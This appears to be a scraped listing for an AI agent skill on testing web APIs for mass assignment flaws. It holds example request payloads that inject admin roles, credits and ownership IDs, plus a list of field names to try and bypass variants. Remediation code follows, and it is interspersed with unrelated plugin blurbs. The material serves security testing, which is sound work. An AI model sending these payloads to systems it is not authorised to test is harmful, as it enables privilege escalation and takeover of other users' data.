From meta
Use when testing APIs and web frameworks for mass assignment vulnerabilities where user-controlled request body fields are bound directly to model attributes without a field allowlist. Trigger on: ORM update/create endpoints, REST APIs accepting JSON body, Rails strong parameters, Django model forms, Laravel fillable/guarded, Node.js Mongoose/Sequelize, PUT/PATCH requests, registration endpoints, profile update endpoints, GraphQL mutations. Detects privilege escalation via role/admin/isAdmin fields, plan upgrades via subscription fields, and horizontal access via ownerId/userId injection.
npx claudepluginhub securityfortech/hacking-skills --plugin metaThis skill uses the workspace's default tool permissions.
Frameworks that automatically bind request body parameters to model attributes (Rails,
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
Frameworks that automatically bind request body parameters to model attributes (Rails,
Laravel, Django, Mongoose, Sequelize) allow attackers to set fields that were never
meant to be user-modifiable. A profile update endpoint intended to accept {name, email}
will also accept {role: "admin", plan: "enterprise", ownerId: 999} if the server
doesn't explicitly allowlist accepted fields.
update(), create(), save(), or assign() callsinput typesrole, admin, isAdmin, verified, plan, credits, ownerId, orgId)."role": "admin" or "isAdmin": true."userId" or "ownerId" pointing to another user."emailVerified": true, "credits": 9999.// Profile update — attempt privilege escalation
PATCH /api/users/me
{"name": "test", "email": "test@example.com", "role": "admin", "isAdmin": true}
// Registration — attempt auto-verification and credit injection
POST /api/register
{"email": "x@x.com", "password": "pass", "emailVerified": true, "credits": 9999,
"plan": "enterprise", "trialExpires": "2099-01-01"}
// Resource update — attempt ownership change (IDOR via mass assignment)
PATCH /api/posts/42
{"title": "new", "ownerId": 1, "userId": 1}
// Nested object injection (common in JSON APIs)
PUT /api/profile
{"name": "x", "address": {"city": "x"}, "billingPlan": {"tier": "enterprise"}}
// GraphQL mutation with extra input fields
mutation {
updateUser(input: {name: "x", role: "admin", isAdmin: true}) { id role }
}
Common sensitive field names to try:
role, roles, isAdmin, admin, superuser, verified, emailVerified,
plan, tier, subscription, credits, balance, ownerId, userId, orgId,
organizationId, groupId, permissions, scopes, approved, active,
banned, locked, passwordResetRequired, mfaEnabled, apiKey, secret
{"billing": {"plan": "enterprise"}} if flat fields are blocked.{"roles": ["admin", "user"]} for role arrays._role, __role, role_id for alternate field names.isAdmin and is_admin.input type if server doesn't validate schema strictly.Privilege escalation via role injection:
Setup → Rails app uses User.update(params[:user]) without strong parameters.
Trigger → Send PATCH /profile with {"name":"x","role":"admin"}.
Impact → Attacker account elevated to admin; full application access.
Free premium tier via registration:
Setup → Laravel registration with unguarded User model.
Trigger → POST register with {"email":"x","password":"x","plan":"premium","credits":10000}.
Impact → Free premium access and inflated credits.
Horizontal access via ownerId change:
Setup → Node/Mongoose Document.findByIdAndUpdate(id, req.body).
Trigger → PATCH document with {"title":"x","ownerId":"VICTIM_ID"}.
Impact → Attacker's document transferred to victim — or attacker claims victim's document.
// Node.js — explicit allowlist with lodash pick
const allowed = ['name', 'email', 'avatar'];
User.findByIdAndUpdate(id, pick(req.body, allowed));
// Express/Mongoose — never pass req.body directly to ORM
// Bad: User.updateOne({ _id }, req.body)
// Good: User.updateOne({ _id }, { name: req.body.name, email: req.body.email })
# Django — use form or serializer to allowlist fields
class UserSerializer(serializers.ModelSerializer):
class Meta:
fields = ['name', 'email'] # never use fields = '__all__'
Mass assignment is a specific form of [[authz-bypass]] where the bypass is structural rather than a missing check. When the injected field is an object ID pointing to another user's data, it becomes [[bola-idor]]. Discovering which hidden fields exist often requires [[web-fingerprinting]] of the framework (Rails, Laravel, Django leave recognizable patterns).